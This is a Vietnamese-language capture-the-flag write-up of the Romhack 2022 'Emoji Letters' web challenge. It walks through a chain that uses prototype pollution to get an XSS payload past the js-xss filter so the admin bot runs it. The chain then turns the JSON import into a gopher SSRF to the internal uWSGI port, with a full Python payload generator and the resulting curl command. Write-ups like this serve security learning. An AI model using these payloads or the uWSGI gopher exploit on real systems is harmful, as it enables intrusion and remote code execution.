Intro

romhack1.png

Emoji Letters là một CTF challenge ở mức Hard trong giải Romhack 2022 CTF. Tính đến thời điểm kết thúc giải thì cũng chỉ có đúng 3/1283 đội tham gia giải được. Sau đây là write-up của mình cho challenge này.

Đề bài

Ban tổ chức có cung cấp source code cho đề bài, bao gồm cả docker để chúng ta có thể debug trên local. Bạn có thể tải về backup từ đây: https://mega.nz/file/mk0DnZDb#KqEVOTWAa1BUlZgGpX2m9zpmFmzq1lqZt6tvLpmNI6E

Sau khi giải nén file web_emoji_letters.zip chúng ta được thư mục như sau:

romhack2.png

chạy file ./build-docker.sh sẽ tự động build docker trên local và start web server ở địa chỉ: http://localhost:1337/

romhack3.png

Phân tích blackbox

Đề bài là ứng dụng cho phép chúng ta tạo các lá thư (letter) ở trên trang chính với nội dung và emoji tùy ý. Điền vào nội dung <img src onerror=alert(origin)> và bấm Create Letter! chuyển chúng ta sang trang xem cụ thể nội dung thư:

romhack4.png

http://localhost:1337/letter?uid=16fe9d1d-b680-43cf-b37e-73bcd4094e26)

romhack5.png

/letter sẽ call đến API để lấy thông tin chi tiết của letter:

romhack6.png

Ta thấy payload của chúng ta đã bị sanitized, lý do là trên trang có sử dụng thư viện js-xss (load từ file xss.js) để filter:

romhack7.png

Lưu ý rằng để có thể XSS được thì ta cần truyền payload vào param emoji.

Ngoài ra ta cũng có thể report các letter không phù hợp thông qua API sau:

romhack8.png

Phân tích whitebox

Sau khi xem xét một hồi thì đây là tóm tắt các chức năng chính của ứng dụng. Logic xử lý nằm chủ yếu ở trong file routes.py:

  • Ở route /report sẽ có một con bot chạy headless Chrome có nhiệm vụ truy cập vào link letter mà người dùng gửi lên:
romhack9.png

Logic của con bot nằm ở file bot.py. Bot sẽ thực hiện việc login vào bằng tài khoản admin và truy cập vào link rồi sleep 3 giây. Để ý thấy là tham số uid được nối thẳng vào URL mà con bot truy cập, ngoài ra không có phần validator nào khác nên ta hoàn toàn có thể truyền thêm query string hoặc hash vào sau uid này.

bot.py

  • Trang cho phép đăng nhập bằng tài khoản admin (không có chức năng đăng ký). Password được sinh ngẫu nhiên lúc chạy docker và được lưu ở sqlite3 DB: ở /tmp/database.db:
romhack11.png

432080cac187100050b5ef153af4c7 sẽ là pasword của admin. Đăng nhập thử để xem giao diện:

romhack12.png

Sau khi đăng nhập, ta có thể thực hiện update/import các emoji.

  • Ở route /admin/emoji-pack/update cho phép admin cập nhật tùy ý thông tin các emoji, sau đó lưu vào file /app//application/static/emoji.json như chỉ định ở trong config.py:
romhack13.png

config.py

  • Ở route /admin/emoji-pack/import cho phép admin chỉ định URL đến file json chứa thông tin các emoji (mặc định là https://raw.githubusercontent.com/github/gemoji/master/db/emoji.json) sau đó fetch về thông qua hàm retireve_json lưu lại:
romhack15.png

Hàm retireve_json ở file utils.py sẽ thực hiện một số bước validate scheme và domain rồi sử dụng thư viện pycurl để lấy file về, parse json và trả về dữ liệu:

romhack16.png
  • Trong file database.py có định nghĩa độ dài của emoji nhưng thực tế thì ta có thể điền độ dài tùy ý.
emoji = db.Column(db.String(10))
  • Ứng dụng được chạy thông qua uwsgi, trong file uswgi.ini ta thấy expose ra file sock ở /tmp/uwsgi.sock và TCP socket ở 127.0.0.1:5000
  • Flag được lưu ở /flag và được set quyền chỉ root đọc được. Như vậy, các bước khai thác sẽ là:
  1. Leo quyền lên admin
  2. RCE gọi file /readflag để đọc flag

Leo quyền lên admin

Vì bot của hệ thống sẽ đăng nhập vào tài khoản admin và truy cập vào link mà chúng ta report, kèm với việc trong các file JS mà ứng dụng sử dụng có file jquery.parseparams.js đưa chúng ta tới hướng sử dụng bug Object Prototype Pollution (OPP) để bypasss XSS migration. Sau khi gửi link report cho con bot, ta có thể thực hiện call các API mà chỉ admin mới dùng được thông qua javascript.

Để kiểm chứng trang có bị dính OPP không, ta có thể dùng Chrome extension: PPScan. Truy cập vào link: http://localhost:1337/letter?uid=16fe9d1d-b680-43cf-b37e-73bcd4094e26, PPScan sẽ hiện thông báo:

romhack17.png

hoặc sử dụng tính năng scan prototype pollution trên Dom Invader của Burp Suite:

romhack18.png

Bước tiếp theo là tìm gadget để có thể bypass XSS migration. Với thư viện js-xss thì đã có sẵn gadget ở đây, tuy nhiên khi đưa vào thì sẽ không tạo ra được object whiteList như ý mà chúng ta cần chỉnh lại theo hướng dẫn của thư viện jquery.parseparams.js:

romhack19.png

Truyền payload XSS <img src onerror=alert(origin)> vào param userEmoji và sửa URL thành như dưới đây sẽ trigger XSS thành công:

http://localhost:1337/letter?uid=0e912736-cd6e-44dc-a866-e812bad2b5df&__proto__.whiteList.img[]=onerror&__proto__.whiteList.img[]=src
romhack20.png

RCE

Do ứng dụng chạy trên uswgi và expose TCP socker ở port 5000, ta hướng đến việc SSRF bằng scheme gopher thông qua chức năng import JSON từ URL để query packet đặc biệt vào port của uswgi dẫn đến RCE. Script python để RCE chúng ta sẽ lưu ở trong file /app/application/static/emoji.json. Phần này thì khá tương tự với đề bài Magic Tunnel của giải Real World CTF 2018. Tham khảo thêm ở đây và ở đây.

Dùng script sau, ta build payload RCE để test thử local trước:

import urllib.parse
import sys

# Some code adopted from
# https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
# https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py

SERVER_HOST = "127.0.0.1"     # Host of the web app
UWSGI_PORT = "5000"             # Port of the uWSGI server

'''
Get size of data.
'''
def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
    return s[::-1]


'''
Pack uWSGI variables according to uwsgi protocol spec.
'''
def pack_uwsgi_vars(var):
    pk = b''
    for k, v in var.items() if hasattr(var, 'items') else var:
        pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
    result = b'\x00' + sz(pk) + b'\x00' + pk
    return result


'''
Generate a uwsgi packet
'''
def gen_uwsgi_packet(var):
    return pack_uwsgi_vars(var)


# =====================================================================================================
# (2) SSRF by communicating to uWSGI port with uwsgi in gopher protocol to run the reverse shell script
# =====================================================================================================
# uWSGI variables to set
var = {
    'SERVER_PROTOCOL': 'HTTP/1.1',
    'REQUEST_METHOD': 'GET',
    'PATH_INFO': "/",
    'REQUEST_URI': "/",
    'QUERY_STRING': "",
    'SERVER_NAME': "",
    'HTTP_HOST': "%s:%s" % (SERVER_HOST, UWSGI_PORT),
    'UWSGI_FILE': "/app/application/static/emoji.json",
    'SCRIPT_NAME': "/callbackapp"
}

# Pack and encode the uwsgi variables
# Construct gopher protocol url that connects to uWSGI port to set magic variables
payload = 'gopher://127.0.0.1:5000/_%s' % urllib.parse.quote(
    gen_uwsgi_packet(var))
print("curl -v " + payload)
➜  web_emoji_letters python3 gen.py
curl -v gopher://127.0.0.1:5000/_%00%D3%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%22%00/app/application/static/emoji.json%0B%00SCRIPT_NAME%0C%00/callbackapp

Đăng nhập vào admin, cập nhật emoji pack như sau:

romhack21.png

Truy cập vào docker và chạy thử lệnh curl ở trên, sẽ thấy log command được thực thi:

romhack22.png

Vấn đề còn lại là ở hàm retireve_json đang chặn scheme khác httphttps, đồng thời giới hạn domain cho phép là githubusercontent.com.

Ở phần check scheme thì thực tế là code bị lỗi, sẽ trả về là False và pass qua đoạn check này.

romhack23.png

Phần check domain thì ta bypass bằng việc thêm 1 slash / nữa vào phần gopher://, khi đó biến domain sẽ có giá trị là None và bypass qua phần check domain ở sau.

romhack24.png

Việc thêm slash này không ảnh hưởng đến pycurl và ta vẫn request được như bình thường.

romhack25.png

Final Exploit

và REAL flag:

romhack27.png